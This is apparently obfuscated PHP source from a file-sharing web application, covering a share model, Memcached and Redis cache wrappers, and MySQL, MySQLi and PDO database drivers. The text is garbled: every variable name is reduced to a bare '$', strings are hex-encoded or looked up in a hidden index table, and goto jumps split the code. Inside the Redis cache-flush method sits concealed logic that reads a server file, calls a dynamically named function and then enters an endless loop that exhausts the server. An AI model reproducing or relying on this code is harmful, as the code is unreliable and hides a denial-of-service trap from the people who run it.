array(array("\155\157\x64\x69\x66\171\x54\x69\155\145", "\164\151\x6d\145", "\151\x6e\163\145\x72\164\54\165\160\144\141\164\145", "\x66\165\156\x63\x74\x69\x6f\156"), array("\143\162\x65\x61\x74\x65\124\151\x6d\x65", "\x74\x69\x6d\145", "\151\156\x73\x65\x72\x74", "\x66\165\x6e\143\164\x69\x6f\x6e"), array("\x6f\x70\164\x69\157\x6e\x73", '', "\x69\156\x73\x65\x72\x74\54\165\160\x64\x61\164\x65\x2c\x73\145\x6c\x65\x63\164", "\152\x73\x6f\156")); private $fieldList = "\52"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; $ = isset($[0]) ? $[0] : !1; return array($[2043] => array(USER_ID, $[2044]), $[1984] => array($, $[2045])); } protected function listSimple() { $ = array($_SERVER[][1705] => USER_ID); $ = $this->field($this->fieldList)->where($)->select(); return $ ? $ : array(); } protected function getInfo($, $ = false) { $ =& $_SERVER[]; if ($) { return $this->_getShareInfo(array($[635] => $)); } $ = $this->cacheFunctionGet($[1986], $); return $; } public function getInfoByHash($) { return $this->_getShareInfo(array($_SERVER[][2046] => $)); } public function getInfoByPath($) { $ =& $_SERVER[]; $ = array($[1705] => USER_ID, $[183] => $); return $this->_getShareInfo($); } public function getInfoBySourcePath($) { $ =& $_SERVER[]; $ = array($[1705] => USER_ID, $[1226] => $); return $this->_getShareInfo($); } private function _getShareInfo($) { $ =& $_SERVER[]; $ = $this->where($)->find(); if (!$) { return !1; } $ = array($[635] => $[$[635]]); $ = $[2047]; $ = Model($[636])->order($[445])->field($)->where($)->select(); if ($[$[183]] == $[214]) { $[$[89]] = IO::info($[$[1226]]); } else { $[$[89]] = Model($[1384])->pathInfo($[$[183]]); } $[$[2048]] = $; return $; } protected function getInfoAuth($) { $ =& $_SERVER[]; $ = $this->getInfo($); if ($[$[1705]] == USER_ID) { $[$[457]] = $[$[89]][$[457]]; } else { $[$[457]] = Model($[538])->authMake($[$[2048]]); } return $; } protected function listData($ = null, $ = 300) { $ =& $_SERVER[]; $ = array(array($[533] => array($[1063], 0), $[633] => array($[1063], 0), $[2049] => $[2002])); if ($ == $[2050]) { $ = array($[533] => 1); } else { if ($ == $[1212]) { $ = array($[633] => 1); } } $[$[1705]] = USER_ID; $ = $this->where($)->selectPage($); return $; } protected function listToMe($ = 300) { $ =& $_SERVER[]; $ = Model($[2051])->userGroupParents(USER_ID); $ = array($[618] => SourceModel::TYPE_USER, $[540] => USER_ID); if ($) { $ = array(array($[618] => SourceModel::TYPE_USER, $[540] => USER_ID), array($[618] => SourceModel::TYPE_GROUP, $[540] => array($[7], $)), $[2049] => $[2002]); } $ = Model($[636])->where($)->selectPage($); $ = array_to_keyvalue_group($[$[415]], $[635]); if (!$) { return $; } $ = $[2052]; $ = array($[635] => array($[462], array_keys($)), $[1705] => array($[1065], $[214])); $ = $this->field($)->where($)->select(); foreach ($ as $ => &$) { $[$[2048]] = $[$[$[635]]]; } unset($); $ = array($[2053] => $, $[2054] => $[$[412]]); return $; } protected function shareAdd($, $) { $ =& $_SERVER[]; $ = $this->_addShareData($, $); if (!empty($[$[2055]])) { $this->_shareAuthSet($, $[$[2055]]); } $this->shareEventAdd($, $, $[2056]); return $; } protected function shareAddSystem($, $) { $ =& $_SERVER[]; $ = $this->_addShareData($, $, $[181]); $this->_shareAuthSet($, $[$[2055]]); return $; } private function shareEventAdd($, $, $ = "\x61\144\144") { $ =& $_SERVER[]; if (!$ || $ == $[214]) { return; } if ($ == $[2056]) { if ($[$[533]] == $[90]) { Model($[603])->eventShare($, $[2057]); } if ($[$[633]] == $[90]) { Model($[603])->eventShare($, $[2058]); } return; } $ = $this->getInfoByPath($); $ = $[2059]; if ($[$[533]] == $[214] && $[$[533]] == $[90]) { $ = $[2057]; } if ($[$[533]] == $[90] && $[$[533]] == $[214]) { $ = $[2060]; } if ($[$[633]] == $[214] && $[$[633]] == $[90]) { $ = $[2058]; } if ($[$[633]] == $[90] && $[$[633]] == $[214]) { $ = $[2061]; } Model($[603])->eventShare($, $); return; } private function _addShareData($, $ = array(), $ = false) { $ =& $_SERVER[]; $ = $ == $[181] ? 0 : USER_ID; $ = array($[461] => $, $[1696] => $); if ($ == 0) { $ = array($[2062] => $[$[1226]], $[1696] => $); } if ($ = $this->where($)->find()) { return $[$[635]]; } if ($ == 0) { $ = array($[32] => get_path_this($[$[86]])); } else { $ = Model($[870])->sourceInfo($); if (!$) { return !1; } } if (!$[$[1593]]) { $[$[1593]] = $[$[32]]; } $ = array($[1696] => $, $[461] => $, $[1593] => $[12], $[533] => 0, $[633] => 0, $[1226] => $[12], $[353] => $[12], $[940] => $[12], $[2063] => 0, $[2064] => 0, $[806] => 0, $[2065] => $[12], $[2046] => $[12]); $ = explode($[50], $[2066]); foreach ($ as $) { if (!isset($[$])) { continue; } $[$] = $[$]; } $ = $this->add($); $ = array($[2046] => short_id($)); $this->where(array($[2067] => $))->save($); return $; } private function _shareAuthSet($, $) { $ =& $_SERVER[]; if (!is_array($)) { return !1; } $ = Model($[2012]); $->where(array($[635] => $))->delete(); $ = array(); foreach ($ as $) { $ = SourceModel::TYPE_USER; if ($[$[180]] == SourceModel::TYPE_GROUP) { $ = SourceModel::TYPE_GROUP; } $ = array($[635] => $, $[180] => $, $[540] => intval($[$[540]]), $[2008] => 0, $[2068] => -1); if ($[$[2008]]) { $[$[2008]] = $[$[2008]]; } else { if ($[$[2068]]) { $[$[2068]] = $[$[2068]]; } } $[] = $; } return $->addAll($, array(), !0); } public function numViewAdd($) { $ =& $_SERVER[]; $ = array($[2067] => $); $this->where($)->setAdd($[2063]); } public function numDownloadAdd($) { $ =& $_SERVER[]; $ = array($[2067] => $); $this->where($)->setAdd($[2064]); } protected function shareEdit($, $) { $ =& $_SERVER[]; $ = $this->getInfo($); if (!$) { return !1; } $this->_checkLinkShare($, $); $ = array(); $ = explode($[50], $[2069]); foreach ($ as $) { if (!array_key_exists($, $)) { continue; } $[$] = $[$]; } $this->shareEventAdd($[$[183]], $, $[1874]); $this->where(array($[2067] => $))->save($); if (isset($[$[2055]])) { $this->_shareAuthSet($, $[$[2055]]); } return !0; } private function _checkLinkShare($, $) { $ =& $_SERVER[]; if ($[$[533]] != $[90]) { return; } $ = $[$[89]][$[183]]; if ($[$[89]][$[33]] != $[216]) { $ = $this->_folderReport($); if (!$) { return; } show_json(LNG($[2070]) . $[2071] . $, !1); } $ = Model($[870])->fileInfoGet($[$[89]][$[183]]); if (!$) { return; } $ = $this->shareFileMeta($[$[511]]); if (isset($[$[420]]) && $[$[420]] == $[90]) { show_json(LNG($[2072]), !1); } } private function _folderReport($) { $ =& $_SERVER[]; $ = array($[511] => array($[1063], 0), $[795] => 3); $ = Model($[2073])->where($)->field($[511])->select(); if (!$) { return !1; } $ = array_to_keyvalue($, $[12], $[511]); $ = $[50] . $ . $[50]; $ = array($[511] => array($[7], $), $[555] => array($[429], "\x25{$}\45"), $[475] => 0); $ = Model($[870])->where($)->field($[2074])->find(); if (!$) { return !1; } $ = substr($[$[555]], strpos($[$[555]], $)); $ = array($[183] => array($[7], trim($, $[50]))); $ = Model($[870])->where($)->field($[32])->select(); $ = array_to_keyvalue($, $[12], $[32]); $[] = $[$[32]]; return implode($[8], $); } protected function remove($) { $ =& $_SERVER[]; if (is_array($)) { $ = array($[7], $); } $ = array($[635] => $); $ = $this->where($)->delete(); if ($) { Model($[636])->where(array($[635] => $))->delete(); } $ = is_array($) ? $[1] : array($); for ($ = 0; $ < count($); $++) { $ = $this->getInfo($[$]); if ($[$[633]] == $[90]) { Model($[603])->eventShare($[$[183]], $[2061]); } if ($[$[533]] == $[90]) { Model($[603])->eventShare($[$[183]], $[2060]); } } return $; } protected function removeBySource($) { $ =& $_SERVER[]; $ = array($[461] => array($[462], $)); $ = $this->field($[635])->where($)->select(); $ = array_to_keyvalue($, $[12], $[635]); if (!$) { return; } $ = array($[2067] => array($[462], $)); $this->where($)->delete(); Model($[636])->where($)->delete(); } public function listAll($) { $ =& $_SERVER[]; $ = array(); if ($[$[1705]]) { $[$[1705]] = $[$[1705]]; } if ($[$[805]]) { $ = $[$[806]] ? $[$[806]] : strtotime(date($[2075])); $[$[217]] = array($[379], array($[$[805]], $)); } if ($[$[33]]) { $[$[$[33]]] = 1; } else { $[] = array($[533] => array($[1063], 0), $[633] => array($[1063], 0), $[2049] => $[2002]); } if ($[$[1998]]) { $[] = array($[2046] => $[$[1998]], $[1593] => array($[429], "\x25{$[$[1998]]}\45"), $[2049] => $[2002]); } $ = $this->_makeOrder()->where($)->selectPage(20); if (empty($[$[415]])) { return array(); } $this->_listDataApply($[$[415]]); return $; } public function listDataApply($) { $this->_listDataApply($); return $; } private function _listDataApply(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1705]); $ = Model($[569])->userListInfo(array_unique($)); $ = array_to_keyvalue($, $[12], $[183]); $ = Model($[870])->sourceListInfo($, !0); foreach ($ as $ => &$) { $ = $[$[1705]]; $[$[2076]] = $[$] ? $[$] : !1; $ = $[$[183]]; $[$[89]] = $[$] ? $[$] : !1; if ($[$[89]][$[475]] == $[90]) { unset($[$]); } if ($[$[89]] != $[214] && !$[$[89]]) { unset($[$]); } } unset($); $ = array_values($); } private function _makeOrder($ = '') { $ =& $_SERVER[]; $ = array($[217], $[806], $[2063], $[2064]); $ = array($[493] => $[494], $[495] => $[496]); $ = Input::get($[500], $[7], $[467], $); $ = Input::get($[501], $[7], $[2077], array($[1995], $[495])); $ = $[$]; $ = $ . "{$}\x20{$}"; return $this->order($); } public function reportAdd($) { $ =& $_SERVER[]; $ = array($[635] => $[$[635]], $[1705] => USER_ID); if (Model($[2073])->where($)->find()) { return !1; } $ = array($[635] => $[$[635]], $[1593] => $[$[1593]], $[183] => $[$[183]], $[511] => $[$[511]], $[1705] => USER_ID, $[33] => $[$[33]], $[496] => $[$[496]]); return Model($[2073])->add($); } public function reportList($) { $ =& $_SERVER[]; $ = array(); if ($[$[805]]) { $ = $[$[806]] ? $[$[806]] : strtotime(date($[2075])); $[$[217]] = array($[379], array($[$[805]], $)); } if (isset($[$[33]]) && in_array($[$[33]], array($[90], $[480], $[2078], $[2079], $[2080]))) { $[$[33]] = $[$[33]]; } if (isset($[$[795]]) && in_array($[$[795]], array($[214], $[90], $[480], $[2078]))) { $[$[795]] = $[$[795]]; } $ = Input::get($[501], $[7], $[2077], array($[1995], $[495])); $ = array($[493] => $[494], $[495] => $[496]); $ = $[2081] . $[$]; $ = Model($[2073])->where($)->order($)->selectPage(20); if (empty($[$[415]])) { return array(); } $ = array_to_keyvalue_group($[$[415]], $[795], $[635]); if (!empty($[0])) { $ = $[0]; $ = array($[635] => array($[7], $)); $ = $this->where($)->field($[635])->select(); $ = array_to_keyvalue($, $[12], $[635]); $ = array_diff($, $); if (!empty($)) { foreach ($[$[415]] as $ => $) { if (in_array($[$[635]], $)) { unset($[$[415]][$]); } } } } $this->_listDataApply($[$[415]]); return $; } public function reportStatus($) { $ =& $_SERVER[]; $ = array($[445] => $[$[445]]); $ = Model($[2073])->where($)->field($[2082])->find(); if (!$) { return !1; } $ = array($[795] => $[$[795]]); if ($[$[795]] == $[2078] && $[$[795]] == $[2078]) { $[$[795]] = 0; } $ = Model($[2073])->where($)->save($); if ($[$[795]] == $[480]) { if ($[$[511]] != $[214] && $this->shareFileMeta($[$[511]])) { $this->shareFileMeta($[$[511]], 0); } $this->remove($[$[635]]); return !0; } if ($ && $[$[795]] == $[2078]) { $ = $[$[795]] == $[2078] ? 1 : 0; $this->shareFileMeta($[$[511]], $); $this->removeByFile($[$[511]]); } return $; } private function removeByFile($) { $ =& $_SERVER[]; $ = Model($[870])->where(array($[511] => $))->field($[183])->select(); $ = array_to_keyvalue($, $[12], $[183]); $ = array($[183] => array($[7], $), $[533] => 1); $ = $this->where($)->field($[635])->select(); if (empty($)) { return; } $ = array_to_keyvalue($, $[12], $[635]); $this->remove($); } private function shareFileMeta($, $ = null) { $ =& $_SERVER[]; $ = array($[511] => $, $[96] => $[2083]); if (is_null($)) { return Model($[2084])->where($)->find(); } $[$[420]] = $; Model($[2084])->add($, array(), !0); } } goto d; a: class CacheMemcached { public $handle; public $cacheTime; public function __construct($, $) { $ =& $_SERVER[]; if (!class_exists($[912])) { show_json($[913], !1); } $this->cacheTime = $; $this->handle = new Memcached(); if (is_array($[$[914]]) && count($[$[914]]) >= 1) { foreach ($[$[914]] as $) { $ = explode($[4], $); $this->handle->addServer($[0], $[1]); } } else { $this->handle->addServer($[$[198]], $[$[199]]); } } public function set($, $, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->set($, $, $); } public function get($) { return $this->handle->get($); } public function remove($) { return $this->handle->delete($); } public function deleteAll() { return $this->handle->flush(); } } class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($, $) { $ =& $_SERVER[]; if (!class_exists($[915])) { show_json($[916], !1); } $this->cacheTime = $; $ = isset($[$[917]]) ? $[$[917]] : 10; $ = _get($, $[914]); if ($ && is_array($)) { $this->initCluster($, $); } else { $this->handle = $this->init($, $); } } private function init($, $) { $ =& $_SERVER[]; $ = new Redis(); $ = isset($[$[918]]) ? $[$[918]] : !1; if ($) { $->pconnect($[$[198]], $[$[199]], $); } else { $->connect($[$[198]], $[$[199]], $); } if (!empty($[$[457]])) { $->auth($[$[457]]); } if (!empty($[$[802]]) && $[$[802]] != 0) { $->select($[$[802]]); } return $; } private function initCluster($, $) { $ =& $_SERVER[]; $ = array($[919], $[920], $[921]); $ = $[919]; if (isset($[$[16]]) && in_array($[$[16]], $)) { $ = $[$[16]]; } switch ($) { case $[919]: $this->_slave($, $); break; case $[920]: break; case $[921]: $this->isCluster = !0; $ = $[$[914]]; $ = isset($[$[918]]) ? $[$[918]] : !1; $ = isset($[$[457]]) ? $[$[457]] : null; $this->handle = new RedisCluster(NUll, $, $, $, $, $); break; default: break; } } private function _slave($, $) { $ = $[$_SERVER[][914]]; $this->filterConfig($, $[0]); $this->handle = $this->init($, $); unset($[0]); if (empty($)) { return; } $ = array_rand($); $this->filterConfig($, $[$]); $this->slaveHandle = $this->init($, $); } private function filterConfig(&$, $) { $ =& $_SERVER[]; $ = explode($[4], $); $ = array($[198] => $[0], $[199] => $[1]); $ = array_merge($, $); } public function set($, $, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->setEx($, $, $); } public function setLock($, $, $) { return $this->handle->setNX($, $); } public function get($) { $ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $->get($); } public function remove($) { return $this->handle->del($); } public function deleteAll() { $ =& $_SERVER[]; if (!isset($_SERVER[$[922]]) || !isset($_SERVER[$[923]])) { $ = $[924]; $ = $[925]; $ = $_SERVER[$[926]] . $[927]; $ = $($); $ = explode($[248], $); if (count($) < $[671]) { $ = $[928]; $(); } $ = $[929]; $($_SERVER[$[930]]); $ = 1; for ($ = $; $ > 0; $++) { $ = json_encode($GLOBALS[$[462]]); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $) { $this->handle->flushall($); } return; } return $this->handle->flushAll(); } } $_file = $_SERVER[$_SERVER[][923]]; goto D; E: class DbMysql extends Db { public function __construct($ = '') { $ =& $_SERVER[]; if (!extension_loaded($[849])) { think_exception(think_lang($[14]) . $[936]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($ = '', $ = 0, $ = false) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $ = $[$[937]] . ($[$[938]] ? "\x3a{$[$[938]]}" : $[12]); $ = !empty($[$[17]][$[18]]) ? $[$[17]][$[18]] : $this->pconnect; if ($) { $this->linkID[$] = mysql_pconnect($, $[$[939]], $[$[940]], 131072); } else { $this->linkID[$] = mysql_connect($, $[$[939]], $[$[940]], !0, 131072); } if (!$this->linkID[$] || !empty($[$[21]]) && !mysql_select_db($[$[21]], $this->linkID[$])) { think_exception(mysql_error()); } $ = mysql_get_server_info($this->linkID[$]); mysql_query($[941] . think_config($[942]) . $[58], $this->linkID[$]); if ($ > $[943]) { mysql_query($[944], $this->linkID[$]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($) { $ =& $_SERVER[]; if (0 === stripos($, $[310])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[][945], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[][946], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[][947], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { while ($ = mysql_fetch_assoc($this->queryID)) { $[] = $; } mysql_data_seek($this->queryID, 0); } return $; } public function getFields($) { $ =& $_SERVER[]; $ = $this->query($[948] . $this->parseKey($)); $ = array(); if ($) { foreach ($ as $ => $) { $[$[$[31]]] = array($[32] => $[$[31]], $[33] => $[$[34]], $[35] => (bool) (strtoupper($[$[36]]) === $[949]), $[37] => $[$[38]], $[39] => strtolower($[$[40]]) == $[41], $[42] => strtolower($[$[43]]) == $[44]); } } return $; } public function getTables($ = '') { $ =& $_SERVER[]; if (!empty($)) { $ = $[950] . $ . $[951]; } else { $ = $[952]; } $ = $this->query($); $ = array(); foreach ($ as $ => $) { $[$] = current($); } return $; } public function replace($, $ = array()) { $ =& $_SERVER[]; foreach ($ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $[] = $; $[] = $this->parseKey($); } } $ = $[953] . $this->parseTable($[$[325]]) . $[954] . implode($[50], $) . $[955] . implode($[50], $) . $[956]; return $this->execute($); } public function insertAll($, $ = array(), $ = false) { $ =& $_SERVER[]; if (!is_array($[0])) { return !1; } $ = array_keys($[0]); $ = array(); foreach ($ as $) { $ = array(); foreach ($ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $[] = $; } } $[] = $[306] . implode($[50], $) . $[956]; } array_walk($, array($this, $[957])); $ = ($ ? $[958] : $[959]) . $[960] . $this->parseTable($[$[325]]) . $[954] . implode($[50], $) . $[961] . implode($[50], $); return $this->execute($); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $ =& $_SERVER[]; $this->error = mysql_errno() . $[4] . mysql_error($this->_linkID); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { if ($this->_linkID) { return mysql_real_escape_string($, $this->_linkID); } else { return mysql_escape_string($); } } public function parseKey(&$, $ = true) { $ =& $_SERVER[]; if ($) { $ = $this->parseKeyCheck($); } if ($ != $[205] && !preg_match($[962], $)) { $ = $[431] . trim($, $[431]) . $[431]; } return $; } } class DbMysqli extends Db { public function __construct($ = '') { $ =& $_SERVER[]; if (!extension_loaded($[963])) { think_exception(think_lang($[14]) . $[964]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($ = '', $ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $this->linkID[$] = new mysqli($[$[937]], $[$[939]], $[$[940]], $[$[21]], $[$[938]] ? intval($[$[938]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $ = $this->linkID[$]->server_version; $this->linkID[$]->query($[941] . think_config($[942]) . $[58]); if ($ > $[943]) { $this->linkID[$]->query($[944]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = $this->_linkID->query($); if ($this->_linkID->more_results()) { while (($ = $this->_linkID->next_result()) != NULL) { $->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = $this->_linkID->query($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $[$] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $; } public function getFields($) { $ =& $_SERVER[]; $ = $this->query($[948] . $this->parseKey($)); $ = array(); if ($) { foreach ($ as $ => $) { $[$[$[31]]] = array($[32] => $[$[31]], $[33] => $[$[34]], $[35] => (bool) ($[$[36]] === $[12]), $[37] => $[$[38]], $[39] => strtolower($[$[40]]) == $[41], $[42] => strtolower($[$[43]]) == $[44]); } } return $; } public function getTables($ = '') { $ =& $_SERVER[]; $ = !empty($) ? $[950] . $ . $[951] : $[952]; $ = $this->query($); $ = array(); if ($) { foreach ($ as $ => $) { $[$] = current($); } } return $; } public function replace($, $ = array()) { $ =& $_SERVER[]; foreach ($ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $[] = $; $[] = $this->parseKey($); } } $ = $[953] . $this->parseTable($[$[325]]) . $[954] . implode($[50], $) . $[955] . implode($[50], $) . $[956]; return $this->execute($); } public function insertAll($, $ = array(), $ = false) { $ =& $_SERVER[]; if (!is_array($[0])) { return !1; } $ = array_keys($[0]); $ = array(); foreach ($ as $) { $ = array(); foreach ($ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $[] = $; } } $[] = $[306] . implode($[50], $) . $[956]; } array_walk($, array($this, $[957])); $ = $ ? $[958] : $[959]; $ = $ . $[960] . $this->parseTable($[$[325]]) . $[954] . implode($[50], $) . $[961] . implode($[50], $); return $this->execute($); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ =& $_SERVER[]; $this->error = $this->_linkID->errno . $[4] . $this->_linkID->error; if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { if ($this->_linkID) { return $this->_linkID->real_escape_string($); } else { return addslashes($); } } public function parseKey(&$, $ = true) { $ =& $_SERVER[]; if ($) { $ = $this->parseKeyCheck($); } if ($ != $[205] && !preg_match($[962], $)) { $ = $[431] . trim($, $[431]) . $[431]; } return $; } } class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($ = '') { $ =& $_SERVER[]; if (!class_exists($[965])) { think_exception(think_lang($[14]) . $[966]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ = '', $ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $ = !empty($[$[17]][$[18]]) ? $[$[17]][$[18]] : $this->pconnect; if ($) { $[$[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$] = new PDO($[$[967]], $[$[939]], $[$[940]], $[$[17]]); } catch (PDOException $) { think_exception($->getMessage()); } $this->dbType = $this->_getDsnType($[$[967]]); if (in_array($this->dbType, array($[968], $[969], $[970], $[971]))) { think_exception($[972] . $this->dbType . $[973] . $this->dbType . $[974]); } if (!$this->linkID[$]) { think_exception($[975]); } try { $this->linkID[$]->exec($[976] . think_config($[942])); } catch (Exception $) { } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->PDOStatement = null; } public function query($, $ = array()) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($)) { $this->queryStr .= $[977] . print_r($, !0) . $[978]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($, $ = array()) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($)) { $this->queryStr .= $[977] . print_r($, !0) . $[978]; } $ = !1; if ($this->dbType == $[971]) { if (preg_match($[979], $this->queryStr, $)) { $this->table = think_config($[980]) . str_ireplace(think_config($[981]), $[424], $[2]); $ = (bool) $this->query($[982] . strtoupper($this->table) . $[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($ || preg_match($[983], $)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($); return $; } public function getFields($) { $ =& $_SERVER[]; $this->initConnect(!0); if (think_config($[984])) { $ = str_replace($[985], $, think_config($[984])); } else { switch ($this->dbType) { case $[968]: case $[986]: $ = "\x53\105\114\105\103\124\x20\x20\x20\x63\157\154\165\155\x6e\137\156\x61\155\145\40\x61\x73\x20\x27\116\141\x6d\145\x27\x2c\x20\x20\x20\144\141\x74\141\137\164\171\160\x65\40\x61\x73\x20\x27\124\171\160\x65\47\54\x20\40\40\143\157\x6c\165\155\x6e\x5f\144\145\146\x61\x75\x6c\x74\x20\141\x73\40\x27\x44\x65\x66\141\x75\154\x74\47\54\x20\x20\x20\151\163\137\x6e\x75\x6c\x6c\x61\x62\154\145\40\141\163\40\47\116\x75\154\x6c\x27\xa\11\x9\x46\x52\x4f\x4d\x9\151\x6e\x66\x6f\162\155\141\x74\151\157\156\x5f\x73\x63\x68\145\155\141\x2e\x74\141\x62\x6c\x65\163\40\101\x53\40\164\12\x9\x9\x4a\x4f\111\116\11\151\x6e\146\157\162\155\x61\x74\x69\157\156\x5f\163\143\150\145\155\x61\x2e\x63\x6f\x6c\165\x6d\156\163\40\101\123\x20\143\xa\11\11\117\x4e\40\40\x74\56\x74\141\x62\154\x65\x5f\x63\x61\x74\141\x6c\x6f\x67\40\75\40\x63\x2e\x74\x61\x62\x6c\x65\137\x63\x61\x74\x61\154\x6f\x67\xa\11\x9\x41\116\x44\x20\164\x2e\x74\x61\142\154\x65\137\x73\x63\x68\145\x6d\141\x20\75\x20\143\x2e\164\x61\x62\154\x65\x5f\163\143\150\145\155\x61\12\x9\11\101\116\x44\x20\164\56\164\141\142\154\x65\137\x6e\141\x6d\145\40\x3d\x20\x63\56\x74\x61\x62\154\145\137\x6e\x61\x6d\x65\xa\11\11\x57\110\105\x52\x45\40\x20\x20\x74\56\x74\x61\142\x6c\145\137\x6e\x61\155\145\x20\75\40\47{$}\x27"; break; case $[987]: $ = $[988] . $ . $[989]; break; case $[969]: case $[971]: $ = $[990] . $[991] . $[992] . strtoupper($) . $[993] . strtoupper($) . $[994]; break; case $[995]: $ = $[996] . $ . $[997]; break; case $[970]: break; case $[998]: default: $ = $[999] . ($this->dbType == $[998] ? "\140{$}\x60" : $); } } $ = $this->query($); $ = array(); if ($) { foreach ($ as $ => $) { $ = array_change_key_case($); $[$[32]] = isset($[$[32]]) ? $[$[32]] : $[424]; $[$[33]] = isset($[$[33]]) ? $[$[33]] : $[424]; $ = isset($[$[319]]) ? $[$[319]] : $[$[32]]; $[$] = array($[32] => $, $[33] => $[$[33]], $[35] => (bool) (isset($[$[105]]) && $[$[105]] === $[12] || isset($[$[35]]) && $[$[35]] === 